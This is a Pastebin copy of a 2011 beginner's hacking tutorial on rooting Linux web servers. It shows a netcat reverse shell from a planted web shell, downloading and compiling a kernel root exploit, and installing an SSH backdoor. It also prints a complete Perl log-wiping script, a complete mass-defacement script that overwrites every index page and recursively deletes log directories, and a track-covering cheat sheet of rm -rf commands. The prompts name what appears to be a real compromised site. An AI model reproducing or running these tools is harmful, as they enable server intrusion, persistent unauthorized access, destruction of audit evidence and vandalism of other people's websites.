Advertisement
silentBD

linux rooting

Dec 4th, 2011
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.87 KB | None | 0 0
  1. # Title: Rooting Linux Servers for beginners
  2. # Date : 25 January 2011
  3. # Author:r0ut3r5934
  4. # Email: r0ut3r5934[at]gmail.com
  5. # Facebook: fb[dot]com/r0ut3r
  6.  
  7. # Introduction- Hello All, This My second paper after Sql Injection. My first was much
  8. successful :) thanks
  9. to all for all those Lovely compliments. This paper will not be so long as my first one was
  10. of 14 pages :D.
  11. Let's Start,
  12. # Things you need-
  13. => A Shell on a website
  14. => An Exploit
  15. => Log cleaner
  16. => Ssh Backdoor
  17. => Netcat
  18. => A Brain
  19. => Get these from Google ;) lolz
  20. # What is rooting ?
  21. A. Getting access to the user => "root", the main admin of the site.
  22. # What is the need of rooting ?
  23. A. Getting Juicy info :)
  24. Now I begin,
  25. # Getting Backconnection to the server-
  26. => Copy the Netcat directory to C:\
  27. => Open command prompt, type: CD C:\NETCAT
  28. It'll look like this:
  29. [code]
  30. Microsoft Windows [Version 6.1.7600]
  31. Copyright (c) 2009 Microsoft Corporation. All rights reserved.
  32. C:\Users\Ash>cd c:\netcat
  33. c:\netcat>
  34. [/code]
  35. => Now Type: nc -l -v -p 2121
  36. It'll look like-
  37. [code]
  38. c:\netcat>nc -l -v -p 2121
  39. listening on [any] 2121 ...
  40. -1-
  41.  
  42.  
  43. [/code]
  44. => Open your Shell in your browser, go to the backconnection tab, if it is not there get a
  45. shell like "B374k" or Any other
  46. thats your choice.
  47. => Specify your ip & port as 2121. press connect, now you'll get a shell to the server, you
  48. can give commands to the server through that shell.
  49. # Getting a Right exploit for the server-
  50. => Type : Uname -a & hit enter.
  51. It'll look something like this:
  52. [code]
  53. [admin@www.saijyotishvani.com /home/saijyoti/public_html/cgi-bin]$ uname -a
  54. Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010
  55. x86_64 x86_64 x86_64 GNU/Linux
  56. [/code]
  57. => It shows the kernal version of the server is: 2.6.18-194.26.1.el5
  58. & Year is 2010.
  59. => You need to find a perfect exploit for it. you can find them at-
  60. # Exploit-db.com
  61. # Packetstormsecurity.org
  62. # Th3-0utl4ws.com
  63. # Leetupload.com
  64. # Compiling & executing exploit-
  65. => Now I've got a exploit, & it is written in C. So I can't execute it by just uploading.
  66. but I need to compile it.
  67. => Before proceeding further, Cd into the tmp directory, coz it is always writable. So type:
  68. Cd /home/XXXXX/public_html/tmp
  69. // The path can be different, replace it with yours.
  70. => So first I'll get the exploit on the server, So I type : Wget
  71. http://exploitsite.net/2010-exploits/exploit.c
  72. // Note: There is no such site, I'm just taking it to show you.
  73. It'll look something Like this-
  74. [code]
  75. [admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ wget
  76. http://exploitsite.net/2010-exploits/exploit.c
  77. --2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
  78. Resolving www.exploitsite.net... 199.58.192.192
  79. Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
  80. HTTP request sent, awaiting response... 200 OK
  81. Length: 15088 (15K) [text/x-csrc]
  82. Saving to: `exploit.c'
  83. 0K .......... .... 100% 189K=0.08s
  84. 2011-01-25 08:21:44 (189 KB/s) - `exploit.c' saved [ 15088/15088 ]
  85. [/code]
  86. -2-
  87. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  88. => now change the permission of the exploit to 777.
  89. Type: Chmod 777 exploit.c
  90. It may look like:
  91. [code]
  92. [admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ chmod 777 ImpelDown.c
  93. [/code]
  94. => Now the exploit is On my server, I just need to compile & execute it.
  95. So, I'll give the command: gcc -o exploit exploit.c
  96. It'll compile & save the exploit as => exploit
  97. It may look like-
  98. [code]
  99. [admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ gcc -o exploit exploit.c
  100. [/code]
  101. => Next step is to execute it So we'll type: ./exploit
  102. It may look like:
  103. [code]
  104. [admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ gcc -o ImpelDown.c
  105. got root you m0f0 !!
  106. [/code]
  107. => Now it say got root. Let's Check is it true,
  108. Type: id
  109. It may look like
  110. [code]
  111. uid=0(saijyoti) gid=0(saijyoti) groups=0(root)
  112. [/code]
  113. => Which Means I got root :)
  114. # Installing Backdoor-
  115. => type- Wget urlofbackdoor.com/sshdoor.zip
  116. => Then Type,
  117. Unzip Sshdoor.zip
  118. => Then type, ./run pass port
  119. ^ replace pass with your password, & a port.
  120. => Now connect with putty & enjoy root privileges. ;)
  121. ##################################################################################
  122. => Methods to execute exploits written in other languages-
  123. -3-
  124. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  125. #C exploitgcc
  126. -o exploit exploit.c
  127. chmod +x exploit
  128. ./exploit
  129. #Perlperl
  130. exploit.pl
  131. #pythonpython
  132. exploit.py
  133. #phpphp
  134. exploit.php
  135. #zip
  136. unzip exploit.zip
  137. ./run
  138. ##################################################################################
  139. => Cleaning Logs-
  140. # you can use my log cleaner to clear your track :D. It is written in perl. save it as
  141. anything.pl
  142. & to execute type: perl anything.pl
  143. here is the code-
  144. [perl]
  145. #!usr/bin/perl -w #Warnings enabled!
  146. #Log cleaner version Public
  147. #Give Credits Where Needed - Kouros!
  148. #This took time, Hope you fucking use it :D
  149. #Report bugs to info@Kouros-bl4ckhat.com
  150. #NOTE - YOU MUST BE ROOT!
  151. print qq^
  152. ####################################
  153. # Log Cleaner 3.0 PUBLIC #
  154. # Kouros #
  155. # #
  156. # Virangar Security Team #
  157. # http://www.Kouros-bl4ckhat.com #
  158. ####################################
  159. ^;
  160. while(1) {
  161. print "Enter Which OS: "; #User Input
  162. chomp($os = <STDIN>); #Takes it into memory
  163. if($os eq "help"){
  164. -4-
  165. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  166. print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
  167. print "[+]Hit enter with OS, Let the script do its work\n";
  168. print "[+]Note: You MUST Be Root!\n";
  169. print "[+]Contact Info[at]Kouros-bl4ckhat [dot] Com";
  170. print "[+]For Bug finds... Have Fun!\n";
  171. print "[+] - Kouros";
  172. }
  173. if($os eq "linux"){ #If linux typed, do the following and start brackets
  174. foreach my $logphile(@linux) {
  175. unlink($logphile) || print "[-]Fucked up: \"$logphile\" : $!\n";
  176. }
  177. } elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
  178. foreach my $logphile(@sunos) {
  179. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  180. }
  181. } elsif($os eq "aix"){ #If aix typed, do the following and start brackets
  182. foreach my $logphile(@aix) {
  183. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  184. }
  185. } elsif($os eq "irix"){ #If irix typed, do the following and start bracket
  186. foreach my $logphile(@irix) {
  187. unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
  188. }
  189. } else { print"Umm WTF !?\n"; }
  190. #Logs of Irix Systems
  191. { #Start Irix Bracket
  192. @irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
  193. "/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
  194. "/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
  195. "/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
  196. "/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
  197. "/var/adm/crash/unix") #End Array
  198. } #End Irix Bracket
  199. #Log sof Aix Systems
  200. { #Start Aix Bracket
  201. @aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
  202. "/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
  203. "/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
  204. "/etc/security/failedlogin", "usr/spool/mqueue/syslog") #End Array
  205. } #End Aix Bracket
  206. #Logs of SunOS Systems
  207. { #Start SunOS Bracket
  208. @sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
  209. "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
  210. "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
  211. "/var/adm/log/asppp.log", "/var/log/syslog",
  212. "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
  213. "/var/lp/logs/lpsched", "/var/lp/logs/requests",
  214. "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
  215. } #End Sunos bracket
  216. #Logs of Linux Systems
  217. -5-
  218. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  219. { #Start Linux Bracket
  220. @linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
  221. "/var/log/secure","/root/.ksh_history", "/root/.bash_history",
  222. "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
  223. "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
  224. "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
  225. "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
  226. "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
  227. "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
  228. "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
  229. "/var/log/httpsd/ssl.access_log", "/etc/mail/access",
  230. "/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
  231. "/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
  232. "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
  233. "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
  234. "/var/log/news/news.crit", "/var/log/news/news.err",
  235. "/var/log/news/news.notice",
  236. "/var/log/news/suck.err", "/var/log/news/suck.notice",
  237. "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
  238. "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
  239. "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
  240. "/var/log/auth") #End array
  241. } #End linux bracket
  242. } #Ends Loop
  243. [/perl]
  244. ##################################################################################
  245. => Mass deface- I've a perl to mass deface sites on the server. execute it as the same way
  246. as above.
  247. [perl]
  248. # MSRml V 0.1 #
  249. # #
  250. # MOROCCO.SECURITY.RULZ mass defacer and log eraser #
  251. # #
  252. # coded by PRI[ll #
  253. # #
  254. # !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
  255. # #
  256. # 05/07/2005 #
  257. # #
  258. -6-
  259. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  260. # usage : perl MSRml.pl <path to index> #
  261. # #
  262. # example : perl MSRml.pl /tmp/index.html #
  263. # #
  264. # the_r00t3r@hotmail.com #
  265. #!/usr/bin/perl
  266. use strict;
  267. my $index = $ARGV[0];
  268. if ($ARGV[0])
  269. {
  270. if( -e $index )
  271. {
  272. system "echo -e "33[01;34mStarted MSRml V0.1 by PRI[ll Ok !!33[01;37m"n";
  273. system "echo -e "\033[01;37mDefacing all homepages ..."n";
  274. system "find / -name "index*" -exec cp $index {} \;";
  275. system "find / -name "main*" -exec cp $index {} \;";
  276. system "find / -name "home*" -exec cp $index {} \;";
  277. system "find / -name "default*" -exec cp $index {} \;";
  278. system "echo -e "\033[01;37m[+] done ! all sites in this box are defaced !"n";
  279. system "echo -e "\033[01;37m----------------------------------------------------------"n";
  280. system "echo -e "\033[01;37mCleaning up logs ..."n";
  281. system "echo -e "33[01;34m---------erasing default log files (too fast
  282. =))---------33[01;37m"n";
  283. if( -e "/var/log/lastlog" )
  284. {
  285. system 'rm -rf /var/log/lastlog';
  286. system "echo -e "\033[01;37m [*]/var/log/lastlog -erased Ok"n";
  287. }
  288. -7-
  289. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  290. else
  291. {
  292. system "echo -e "\033[01;31m[*]/var/log/lastlog - No such file or directory\033[01;37m"n";
  293. }
  294. if( -e "/var/log/wtmp" )
  295. {
  296. system 'rm -rf /var/log/wtmp';
  297. system "echo -e "\033[01;37m [*]/var/log/wtmp -erased Ok"n";
  298. }
  299. else
  300. {
  301. system "echo -e "\033[01;31m[*]/var/log/wtmp - No such file or directory\033[01;37m"n";
  302. }
  303. if( -e "/etc/wtmp" )
  304. {
  305. system 'rm -rf /etc/wtmp';
  306. system "echo -e "\033[01;37m [*]/etc/wtmp -erased Ok"n";
  307. }
  308. else
  309. {
  310. system "echo -e "\033[01;31m[*]/etc/wtmp - No such file or directory\033[01;37m"n";
  311. }
  312. if( -e "/var/run/utmp" )
  313. {
  314. system 'rm -rf /var/run/utmp';
  315. system "echo -e "\033[01;37m [*]/var/run/utmp -erased Ok"n";
  316. }
  317. else
  318. -8-
  319. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  320. {
  321. system "echo -e "\033[01;31m[*]/var/run/utmp - No such file or directory\033[01;37m"n";
  322. }
  323. if( -e "/etc/utmp" )
  324. {
  325. system 'rm -rf /etc/utmp';
  326. system "echo -e "\033[01;37m [*]/etc/utmp -erased Ok"n";
  327. }
  328. else
  329. {
  330. system "echo -e "\033[01;31m[*]/etc/utmp - No such file or directory\033[01;37m"n";
  331. }
  332. if( -e "/var/log" )
  333. {
  334. system 'rm -rf /var/log';
  335. system "echo -e "\033[01;37m [*]/var/log -erased Ok"n";
  336. }
  337. else
  338. {
  339. system "echo -e "\033[01;31m[*]/var/log - No such file or directory\033[01;37m"n";
  340. }
  341. if( -e "/var/logs" )
  342. {
  343. system 'rm -rf /var/logs';
  344. system "echo -e "\033[01;37m [*]/var/logs -erased Ok"n";
  345. }
  346. else
  347. {
  348. system "echo -e "\033[01;31m[*]/var/logs - No such file or directory\033[01;37m"n";
  349. -9-
  350. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  351. }
  352. if( -e "/var/adm" )
  353. {
  354. system 'rm -rf /var/adm';
  355. system "echo -e "\033[01;37m [*]/var/adm -erased Ok"n";
  356. }
  357. else
  358. {
  359. system "echo -e "\033[01;31m[*]/var/adm - No such file or directory\033[01;37m"n";
  360. }
  361. if( -e "/var/apache/log" )
  362. {
  363. system 'rm -rf /var/apache/log';
  364. system "echo -e "\033[01;37m [*]/var/apache/log -erased Ok"n";
  365. }
  366. else
  367. {
  368. system "echo -e "\033[01;31m[*]/var/apache/log - No such file or directory\033[01;37m"n";
  369. }
  370. if( -e "/var/apache/logs" )
  371. {
  372. system 'rm -rf /var/apache/logs';
  373. system "echo -e "\033[01;37m [*]/var/apache/logs -erased Ok"n";
  374. }
  375. else
  376. {
  377. system "echo -e "\033[01;31m[*]/var/apache/logs - No such file or directory\033[01;37m"n";
  378. }
  379. -10-
  380. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  381. if( -e "/usr/local/apache/log" )
  382. {
  383. system 'rm -rf /usr/local/apache/log';
  384. system "echo -e "\033[01;37m [*]/usr/local/apache/log -erased Ok"n";
  385. }
  386. else
  387. {
  388. system "echo -e "\033[01;31m[*]/usr/local/apache/log - No such file or
  389. directory\033[01;37m"n";
  390. }
  391. if( -e "/usr/local/apache/logs" )
  392. {
  393. system 'rm -rf /usr/local/apache/logs';
  394. system "echo -e "\033[01;37m [*]/usr/local/apache/logs -erased Ok"n";
  395. }
  396. else
  397. {
  398. system "echo -e "\033[01;31m[*]/usr/local/apache/logs - No such file or
  399. directory\033[01;37m"n";
  400. }
  401. if( -e "/root/.bash_history" )
  402. {
  403. system 'rm -rf /root/.bash_history';
  404. system "echo -e "\033[01;37m [*]/root/.bash_history -erased Ok"n";
  405. }
  406. else
  407. {
  408. system "echo -e "\033[01;31m[*]/root/.bash_history - No such file or directory\033[01;37m"n";
  409. }
  410. if( -e "/root/.ksh_history" )
  411. -11-
  412. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  413. {
  414. system 'rm -rf /root/.ksh_history';
  415. system "echo -e "\033[01;37m [*]/root/.ksh_history -erased Ok"n";
  416. }
  417. else
  418. {
  419. system "echo -e "\033[01;31m[*]/root/.ksh_history - No such file or directory\033[01;37m"n";
  420. }
  421. system "echo -e "\033[01;37m[+] -----done all default log and bash_history files erased !!"n";
  422. system "echo -e "33[01;34m---------Now Erasing the rest of the machine log files (can be
  423. long :S)---------33[01;37m"n";
  424. system 'find / -name *.bash_history -exec rm -rf {} ;';
  425. system "echo -e "\033[01;37m[*] all *.bash_history files -erased Ok!"n";
  426. system 'find / -name *.bash_logout -exec rm -rf {} ;';
  427. system "echo -e "\033[01;37m[*] all *.bash_logout files -erased Ok!"n";
  428. system 'find / -name "log*" -exec rm -rf {} ;';
  429. system "echo -e "\033[01;37m[*] all log* files -erased Ok!"n";
  430. system 'find / -name *.log -exec rm -rf {} ;';
  431. system "echo -e "\033[01;37m[*] all *.log files -erased Ok!"n";
  432. system "echo -e "33[01;34m-------[+] !done all log files erased![+]-------33[01;37m"n";
  433. system "echo -e "33[01;34m---------------------------------------------------33[01;37m"n";
  434. system "echo -e "33[01;34m-----------------MSRml V 0.1----------------------33[01;37m"n";
  435. }
  436. else
  437. {
  438. system "echo -e "\033[01;31m[-] Failed ! the path to u're index could not be found
  439. !\033[01;37m"n";
  440. exit;
  441. }
  442. -12-
  443. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  444. }
  445. else
  446. {
  447. system "echo -e "\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!"n";
  448. system "echo -e "\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!"n";
  449. system "echo -e
  450. "\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\033[01;37m"n";
  451. system "echo -e "\033[01;37musage : perl $0 <path too u're index>"n";
  452. system "echo -e "\033[01;37mexample : perl $0 /tmp/index.html"n";
  453. exit;
  454. }
  455. [/code]
  456. ##################################################################################
  457. => Important Commands-
  458. ./../mainfile.php - Config file.
  459. ls -la - Lists directory's.
  460. ifconfig {eth0 etc} - Ipconfig equiv.
  461. ps aux - Show running proccess's.
  462. gcc in_file -o out_file - Compile c file.
  463. cat /etc/passwd - List's accounts.
  464. sudo - Superuser Do run a command as root provided you have perms
  465. in /etc/sudoers.
  466. id - Tells you what user your logged in as.
  467. which wget curl w3m lynx - Check's to see what downloaders are
  468. present.
  469. uname -r - Shows all release info (or) cat /etc/release.
  470. uname -a - Shows all kernal info (or) cat /etc/issue
  471. last -30 - Last logged 30 ip's can change to desired number.
  472. useradd - Create new user account.
  473. usermod - Modify user account.
  474. w - See who is currently logged on.
  475. -13-
  476. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  477. locate password.txt - Locates password.txt in current dur can use *.
  478. rm -rf / - Please be carefull with this command, i cannot stress this
  479. enough.
  480. arp -a - Lists other machines are on the same subnet.
  481. lsattr -va - ls file attributes on linux second extended file system
  482. find / -type f -perm -04000 -ls - Finds suid files.
  483. find . -type f -perm -04000 -ls - Finds suid files in current dir.
  484. find / -type f -perm -02000 -ls - Finds all sgid files.
  485. find / -perm -2 -ls - Finds all writable files and folders.
  486. find . -perm -2 -ls - Finds all writable files and folders in current dir.
  487. find / -type f -name .bash_history - Finds bash history.
  488. netstat -an | grep -i listen - shows open ports.
  489. cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
  490. with no pass.
  491. find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
  492. cat /proc/version /proc/cpuinfo - Cpu info.
  493. locate gcc- Finds gcc if installed.
  494. set - Display system variables.
  495. echo $path- Echo current path.
  496. lsmod- Dumps kernal modules.
  497. mount/df- Check mounted file system.
  498. rpm -qa- Check patch level for RedHat 7.0.
  499. dmesg- Check hardware ino.
  500. cat /etc/syslog.conf - Log file.
  501. uptime - Uptime check.
  502. cat /proc/meminfo - Memory check.
  503. find / -type f -perm -4 -print 2> /dev/null- Find readble files.
  504. find / -type f -perm -2 -print 2> /dev/null - Find writable files.
  505. chmod ### $folder - Chmod folder.
  506. -14-
  507. C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
  508. ls -l -b - Verbosly list directory's
  509. -------------clear-logs-----------------
  510. rm -rf /tmp/logs
  511. rm -rf $HISTFILE
  512. rm -rf /root/.ksh_history
  513. rm -rf /root/.bash_history
  514. rm -rf /root/.ksh_history
  515. rm -rf /root/.bash_logout
  516. rm -rf /usr/local/apache/logs
  517. rm -rf /usr/local/apache/log
  518. rm -rf /var/apache/logs
  519. rm -rf /var/apache/log
  520. rm -rf /var/run/utmp
  521. rm -rf /var/logs
  522. rm -rf /var/log
  523. rm -rf /var/adm
  524. rm -rf /etc/wtmp
  525. rm -rf /etc/utmp
  526. history -c
  527. find / -name *.bash_history -exec rm -rf {} \;
  528. find / -name *.bash_logout -exec rm -rf {} \;
  529. find / -name "log*" -exec rm -rf {} \;
  530. find / -name *.log -exec rm -rf {} \;
  531. -------------------------------------------------
  532. cat filename | more
  533. ^ Pipe large files through more for easy reading
  534. ifconfig | grep Addr
  535. ^ Get the local Internet Protocol and Hardware address(s) for your machine
  536. cat binary | awk "{print $5}"
  537. ^ Print a binary file out in hex
  538. $(echo "HEAD / HTTP/1.0";echo "";echo "") | telnet host 80
  539. ^ Get the webserver type and identification
  540. The best feature of bash is piping. Piping means threading the output of one
  541. program to another. For example you can do ls | more to pipe the output of
  542. ls to more and easily read the contents of large directories. You can also do
  543. ls | grep myfile to find myfile in the current directory.
  544. cd /;find | grep goodfile
  545. ^ Search the entire FileSystem for a file called goodfile
  546. su -x "command"
  547. ^ Run a command as root
  548. sudo command
  549. ^ Run a command as a su-uid user
  550. chmod a+rwx file
  551. ^ Change the permissions of a file and make it executable, readable, and writable to all users
  552. rm removes a file only if the user deleting it has permissions to that file.
  553. rm -f removes a file forcibly (permissions still apply).
  554. rm -rf recursively and forcefully remove a directory. You should know about permissions by
  555. now.
  556. ##################################################################################
  557.  
  558.  
  559. This is the end of my this paper, Hope you enjoyed it. :)
  560. # Greetz- graphicera, skit, hrit & my friends. ;)
  561. ## References ##
  562. # Google :P
  563. ##################################################################################
  564.  
  565.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement